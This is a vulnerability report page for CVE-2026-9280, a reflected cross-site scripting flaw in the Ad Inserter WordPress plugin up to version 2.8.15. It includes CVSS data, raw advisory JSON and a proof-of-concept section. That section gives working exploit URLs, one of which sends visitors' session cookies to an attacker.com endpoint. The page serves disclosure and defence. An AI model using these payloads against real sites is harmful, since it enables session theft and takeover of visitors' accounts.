Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-9280 CVSS 6.1 MEDIUM

CVE-2026-9280

Published: 2026-06-06 04:17:42
Last Modified: 2026-06-08 14:57:15

Description

The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL Parameters in iframe Mode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires that iframe mode (AI_OPTION_IFRAME) is enabled on at least one ad block displayed on the targeted page, which is a non-default but supported configuration commonly used for AdSense and JavaScript-based ads.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ad Inserter plugin < 2.8.16 (all versions up to and including 2.8.15)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-9280 PoC - Reflected XSS in Ad Inserter iframe Mode --> <!-- Basic XSS PoC --> https://target-site.com/?page_id=X&ai_etag=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E <!-- Event Handler Based XSS --> https://target-site.com/?page_id=X&ai_etag=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E <!-- Steal Session Cookie --> https://target-site.com/?page_id=X&ai_etag=%22%3E%3Cscript%3Edocument.location='https://attacker.com/steal?c='+document.cookie%3C/script%3E <!-- Key Points: 1. Target page must have iframe mode enabled for at least one ad block 2. Replace 'page_id=X' with valid page parameter 3. URL encode special characters as needed 4. Requires user interaction (clicking the link) -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9280", "sourceIdentifier": "[email protected]", "published": "2026-06-06T04:17:41.947", "lastModified": "2026-06-08T14:57:14.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL Parameters in iframe Mode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires that iframe mode (AI_OPTION_IFRAME) is enabled on at least one ad block displayed on the targeted page, which is a non-default but supported configuration commonly used for AdSense and JavaScript-based ads."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.11/class.php#L3460", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.11/class.php#L3462", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.11/class.php#L3470", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.15/class.php#L3460", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.15/class.php#L3462", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.15/class.php#L3470", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3552607%40ad-inserter&new=3552607%40ad-inserter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d40c05d-dc30-47b1-aea5-cd2b72d4c4c0?source=cve", "source": "[email protected]"}]}}